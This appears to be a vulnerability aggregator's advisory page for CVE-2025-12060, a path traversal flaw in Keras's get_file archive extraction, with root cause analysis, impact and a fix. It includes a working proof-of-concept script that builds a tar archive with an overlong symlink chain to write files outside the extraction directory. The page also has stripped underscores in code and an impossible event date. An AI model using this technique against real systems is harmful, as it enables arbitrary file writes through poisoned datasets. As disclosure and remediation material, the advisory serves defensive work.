CVE-2025-12060: Keras keras.utils.get_file Utility Path Traversal Vulnerability

Published Oct 30, 2025
·
Updated

Summary

Keras's keras.utils.getfile() function is vulnerable to directory traversal attacks despite implementing filtersafepaths(). The vulnerability exists because extractarchive() uses Python's tarfile.extractall() method without the security-critical filter="data" parameter. A PATHMAX symlink resolution bug occurs before path filtering, allowing malicious tar archives to bypass security checks and write files outside the intended extraction directory.

Details

Root Cause Analysis

Current Keras Implementation python From keras/src/utils/fileutils.py#L121 if zipfile.iszipfile(filepath): # Zip archive. archive.extractall(path) else: # Tar archive, perhaps unsafe. Filter paths. archive.extractall(path, members=filtersafepaths(archive))

The Critical Flaw

While Keras attempts to filter unsafe paths using filtersafepaths(), this filtering happens after the tar archive members are parsed and before actual extraction. However, the PATHMAX symlink resolution bug occurs during extraction, not during member enumeration.

Exploitation Flow: 1. Archive parsing: filtersafepaths() sees symlink paths that appear safe 2. Extraction begins: extractall() processes the filtered members 3. PATHMAX bug triggers: Symlink resolution fails due to path length limits 4. Security bypass: Failed resolution causes literal path interpretation 5. Directory traversal: Files written outside intended directory

Technical Details

The vulnerability exploits a known issue in Python's tarfile module where excessively long symlink paths can cause resolution failures, leading to the symlink being treated as a literal path. This bypasses Keras's path filtering because:

- filtersafepaths() operates on the parsed tar member information - The PATHMAX bug occurs during actual file system operations in extractall() - Failed symlink resolution falls back to literal path interpretation - This allows traversal paths like ../../../../etc/passwd to be written

Affected Code Location

File: keras/src/utils/fileutils.py Function: extractarchive() around line 121 Issue: Missing filter="data" parameter in tarfile.extractall()

Proof of Concept #!/usr/bin/env python3 import os, io, sys, tarfile, pathlib, platform, threading, time import http.server, socketserver

Import Keras directly (not through TensorFlow) try: import keras print("Using standalone Keras:", keras.version) getfile = keras.utils.getfile except ImportError: try: import tensorflow as tf print("Using Keras via TensorFlow:", tf.keras.version) getfile = tf.keras.utils.getfile except ImportError: print("Neither Keras nor TensorFlow found!") sys.exit(1)

print("=" 60) print("Keras getfile() PATHMAX Symlink Vulnerability PoC") print("=" 60) print("Python:", sys.version.split()[0]) print("Platform:", platform.platform())

root = pathlib.Path.cwd() print(f"Working directory: {root}")

Create target directory for exploit demonstration exploitdir = root / "exploit" exploitdir.mkdir(existok=True)

Clean up any previous exploit files try: (exploitdir / "keraspwned.txt").unlink() except FileNotFoundError: pass

print(f"\n=== INITIAL STATE ===") print(f"Exploit directory: {exploitdir}") print(f"Files in exploit/: {[f.name for f in exploitdir.iterdir()]}")

Create malicious tar with PATHMAX symlink resolution bug print(f"\n=== Building PATHMAX Symlink Exploit ===")

Parameters for PATHMAX exploitation comp = 'd' (55 if sys.platform == 'darwin' else 247) steps = "abcdefghijklmnop" # 16-step symlink chain path = ""

with tarfile.open("kerasdataset.tgz", mode="w:gz") as tar: print("Creating deep symlink chain...") # Build the symlink chain that will exceed PATHMAX during resolution for i, step in enumerate(steps): # Directory with long name dirinfo = tarfile.TarInfo(os.path.join(path, comp)) dirinfo.type = tarfile.DIRTYPE tar.addfile(dirinfo) # Symlink pointing to that directory linkinfo = tarfile.TarInfo(os.path.join(path, step)) linkinfo.type = tarfile.SYMTYPE linkinfo.linkname = comp tar.addfile(linkinfo) path = os.path.join(path, comp) if i < 3 or i % 4 == 0: # Print progress for first few and every 4th print(f" Step {i+1}: {step} -> {comp[:20]}...") # Create the final symlink that exceeds PATHMAX # This is where the symlink resolution breaks down longname = "x" 254 linkpath = os.path.join("/".join(steps), longname) maxlink = tarfile.TarInfo(linkpath) maxlink.type = tarfile.SYMTYPE maxlink.linkname = ("../" len(steps)) tar.addfile(maxlink) print(f"✓ Created PATHMAX symlink: {len(linkpath)} characters") print(f" Points to: {'../' len(steps)}") # Exploit file through the broken symlink resolution exploitpath = linkpath + "/../../../exploit/keraspwned.txt" exploitcontent = b"KERAS VULNERABILITY CONFIRMED!\nThis file was created outside the cache directory!\nKeras getfile() is vulnerable to PATHMAX symlink attacks!\n" exploitfile = tarfile.TarInfo(exploitpath) exploitfile.type = tarfile.REGTYPE exploitfile.size = len(exploitcontent) tar.addfile(exploitfile, fileobj=io.BytesIO(exploitcontent)) print(f"✓ Added exploit file via broken symlink path") # Add legitimate dataset content datasetcontent = b"# Keras Dataset Sample\nThis appears to be a legitimate ML dataset\nimage1.jpg,cat\nimage2.jpg,dog\nimage3.jpg,bird\n" datasetfile = tarfile.TarInfo("dataset/labels.csv") datasetfile.type = tarfile.REGTYPE datasetfile.size = len(datasetcontent) tar.addfile(datasetfile, fileobj=io.BytesIO(datasetcontent)) # Dataset directory datasetdir = tarfile.TarInfo("dataset/") datasetdir.type = tarfile.DIRTYPE tar.addfile(datasetdir)

print("✓ Malicious Keras dataset created")

Comparison Test: Python tarfile with filter (SAFE) print(f"\n=== COMPARISON: Python tarfile with data filter ===") try: with tarfile.open("kerasdataset.tgz", "r:gz") as tar: tar.extractall("pythonsafe", filter="data") filesafter = [f.name for f in exploitdir.iterdir()] print(f"✓ Python safe extraction completed") print(f"Files in exploit/: {filesafter}") # Cleanup import shutil if pathlib.Path("pythonsafe").exists(): shutil.rmtree("pythonsafe", ignoreerrors=True) except Exception as e: print(f"❌ Python safe extraction blocked: {str(e)[:80]}...") filesafter = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit/: {filesafter}")

Start HTTP server to serve malicious archive class SilentServer(http.server.SimpleHTTPRequestHandler): def logmessage(self, args): pass

def runserver(): with socketserver.TCPServer(("127.0.0.1", 8005), SilentServer) as httpd: httpd.allowreuseaddress = True httpd.serveforever()

server = threading.Thread(target=runserver, daemon=True) server.start() time.sleep(0.3)

Keras vulnerability test cachedir = root / "kerascache" cachedir.mkdir(existok=True) url = "http://127.0.0.1:8005/kerasdataset.tgz"

print(f"\n=== KERAS VULNERABILITY TEST ===") print(f"Testing: keras.utils.getfile() with extract=True") print(f"URL: {url}") print(f"Cache: {cachedir}") print(f"Expected extraction: kerascache/datasets/kerasdataset/") print(f"Exploit target: exploit/keraspwned.txt")

try: # The vulnerable Keras call extractedpath = getfile( "kerasdataset", url, cachedir=str(cachedir), extract=True ) print(f"✓ Keras extraction completed") print(f"✓ Returned path: {extractedpath}") except Exception as e: print(f"❌ Keras extraction failed: {e}") import traceback traceback.printexc()

Vulnerability assessment print(f"\n=== VULNERABILITY RESULTS ===") finalexploitfiles = [f.name for f in exploitdir.iterdir()] print(f"Files in exploit directory: {finalexploitfiles}")

if "keraspwned.txt" in finalexploitfiles: print(f"\n🚨 KERAS VULNERABILITY CONFIRMED! 🚨") exploitfile = exploitdir / "keraspwned.txt" content = exploitfile.readtext() print(f"Exploit file created: {exploitfile}") print(f"Content:\n{content}") print(f"🔍 TECHNICAL DETAILS:") print(f" • Keras uses tarfile.extractall() without filter parameter") print(f" • PATHMAX symlink resolution bug bypassed security checks") print(f" • File created outside intended cache directory") print(f" • Same vulnerability pattern as TensorFlow getfile()") print(f"\n📊 COMPARISON RESULTS:") print(f" ✅ Python with filter='data': BLOCKED exploit") print(f" ⚠️ Keras getfile(): ALLOWED exploit") else: print(f"✅ No exploit files detected") print(f"Possible reasons:") print(f" • Keras version includes security patches") print(f" • Platform-specific path handling prevented exploit") print(f" • Archive extraction path differed from expected")

Show what Keras actually extracted (safely) print(f"\n=== KERAS EXTRACTION ANALYSIS ===") try: if 'extractedpath' in locals() and pathlib.Path(extractedpath).exists(): keraspath = pathlib.Path(extractedpath) print(f"Keras extracted to: {keraspath}") # Safely list contents try: contents = [item.name for item in keraspath.iterdir()] print(f"Top-level contents: {contents}") # Count symlinks (indicates our exploit structure was created) symlinkcount = 0 for item in keraspath.iterdir(): try: if item.issymlink(): symlinkcount += 1 except PermissionError: continue print(f"Symlinks created: {symlinkcount}") if symlinkcount > 0: print(f"✓ PATHMAX symlink chain was extracted") except PermissionError: print(f"Permission errors in extraction directory (expected with symlink corruption)") except Exception as e: print(f"Could not analyze Keras extraction: {e}")

print(f"\n=== REMEDIATION ===") print(f"To fix this vulnerability, Keras should use:") print(f"python") print(f"tarfile.extractall(path, filter='data') # Safe") print(f"") print(f"Instead of:") print(f"python") print(f"tarfile.extractall(path) # Vulnerable") print(f"")

Cleanup print(f"\n=== CLEANUP ===") try: os.unlink("kerasdataset.tgz") print(f"✓ Removed malicious tar file") except: pass

print("PoC completed!")

Environment Setup - Python: 3.8+ (tested on multiple versions) - Keras: Standalone Keras or TensorFlow.Keras - Platform: Linux, macOS, Windows (path handling varies)

Exploitation Steps

1. Create malicious tar archive with PATHMAX symlink chain 2. Host archive on accessible HTTP server 3. Call keras.utils.getfile() with extract=True 4. Observe directory traversal - files written outside cache directory

Key Exploit Components

- Deep symlink chain: 16+ nested symlinks with long directory names - PATHMAX overflow: Final symlink path exceeding system limits - Traversal payload: Relative path traversal (../../../target/file) - Legitimate disguise: Archive contains valid-looking dataset files

Demonstration Results

Vulnerable behavior: - Files extracted outside intended cachedir/datasets/ location - Security filtering bypassed completely - No error or warning messages generated

Expected secure behavior: - Extraction blocked or confined to cache directory - Security warnings for suspicious archive contents

Impact

Vulnerability Classification - Type: Directory Traversal / Path Traversal (CWE-22) - Severity: High - CVSS Components: Network accessible, no authentication required, impacts confidentiality and integrity

Who Is Impacted

Direct Impact: - Applications using keras.utils.getfile() with extract=True - Machine learning pipelines downloading and extracting datasets - Automated ML training systems processing external archives

Attack Scenarios: 1. Malicious datasets: Attacker hosts compromised ML dataset 2. Supply chain: Legitimate dataset repositories compromised 3. Model poisoning: Extraction writes malicious files alongside training data 4. System compromise: Configuration files, executables written to system directories

Affected Environments: - Research environments downloading public datasets - Production ML systems with automated dataset fetching - Educational platforms using Keras for tutorials - CI/CD pipelines training models with external data

Risk Assessment

High Risk Factors: - Common usage pattern in ML workflows - No user awareness of extraction security - Silent failure mode (no warnings) - Cross-platform vulnerability

Potential Consequences: - Arbitrary file write on target system - Configuration file tampering - Code injection via overwritten scripts - Data exfiltration through planted files - System compromise in containerized environments

Recommended Fix

Immediate Mitigation

Replace the vulnerable extraction code with:

python Secure implementation if zipfile.iszipfile(filepath): # Zip archive - implement similar filtering archive.extractall(path, members=filtersafepaths(archive)) else: # Tar archive with proper security filter archive.extractall(path, members=filtersafepaths(archive), filter="data")

Long-term Solution

1. Add filter="data" parameter to all tarfile.extractall() calls 2. Implement comprehensive path validation before extraction 3. Add extraction logging for security monitoring 4. Consider sandboxed extraction for untrusted archives 5. Update documentation to warn about archive security risks

Backward Compatibility

The fix maintains full backward compatibility as filter="data" is the recommended secure default for Python 3.12+.

References

- [Python tarfile security documentation](https://docs.python.org/3/library/tarfile.html#extraction-filters) - [CVE-2007-4559](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4559) - Related tarfile vulnerability - [OWASP Path Traversal](https://owasp.org/www-community/attacks/PathTraversal)

Note: Reported in Huntr as well, but didn't get response https://huntr.com/bounties/f94f5beb-54d8-4e6a-8bac-86d9aee103f4

Other sources

Keras keras.utils.getfile Utility Path Traversal Vulnerability

Microsoft

The keras.utils.getfile API in Keras, when used with the extract=True option for tar archives, is vulnerable to a path traversal attack. The utility uses Python's tarfile.extractall function without the filter="data" feature. A remote attacker can craft a malicious tar archive containing special symlinks, which, when extracted, allows them to write arbitrary files to any location on the filesystem outside of the intended destination folder. This vulnerability is linked to the underlying Python tarfile weakness, identified as CVE-2025-4517. Note that upgrading Python to one of the versions that fix CVE-2025-4517 (e.g. Python 3.13.4) is not enough. One additionally needs to upgrade Keras to a version with the fix (Keras 3.12).

GitHub

Affected Software

5 affected componentsFixes available
Keras Keras>3.12
Python Python<=3.13.4
pip/keras<3.12.0
3.12.0
Microsoft azl3 keras 3.3.3-4
pip/keras<=3.11.3
3.12.0

Event History

Oct 30, 2025
CVE Published
via MITRE·05:10 PM
Data Sourced
via MITRE·05:10 PM
DescriptionWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:31 PM
Data Sourced
via GitHub·06:31 PM
DescriptionWeaknessAffected Software
Nov 1, 2025
Data Sourced
via Microsoft·01:01 AM
DescriptionSeverityWeakness
Data Sourced
via Microsoft·01:01 AM
Affected Software
Updated
via Microsoft·01:01 AM
DescriptionSeverity
Dec 2, 2025
Data Sourced
via GitHub·12:58 AM
Severity
Updated
via GitHub·12:58 AM
DescriptionAffected Software
Feb 21, 57889
Event
via GitHub·05:19 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-12060?

The severity of CVE-2025-12060 is classified as critical due to its potential for path traversal attacks.

2

How do I fix CVE-2025-12060?

To fix CVE-2025-12060, update Keras to a version that includes a patched implementation of the get_file API.

3

What versions of Keras are affected by CVE-2025-12060?

Keras versions prior to 3.12 are affected by CVE-2025-12060.

4

Can Python versions affect the impact of CVE-2025-12060?

Yes, Python versions up to and including 3.13.4 may be impacted by CVE-2025-12060 when used with vulnerable Keras versions.

5

What type of attack does CVE-2025-12060 enable?

CVE-2025-12060 enables a path traversal attack through manipulated tar archives.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203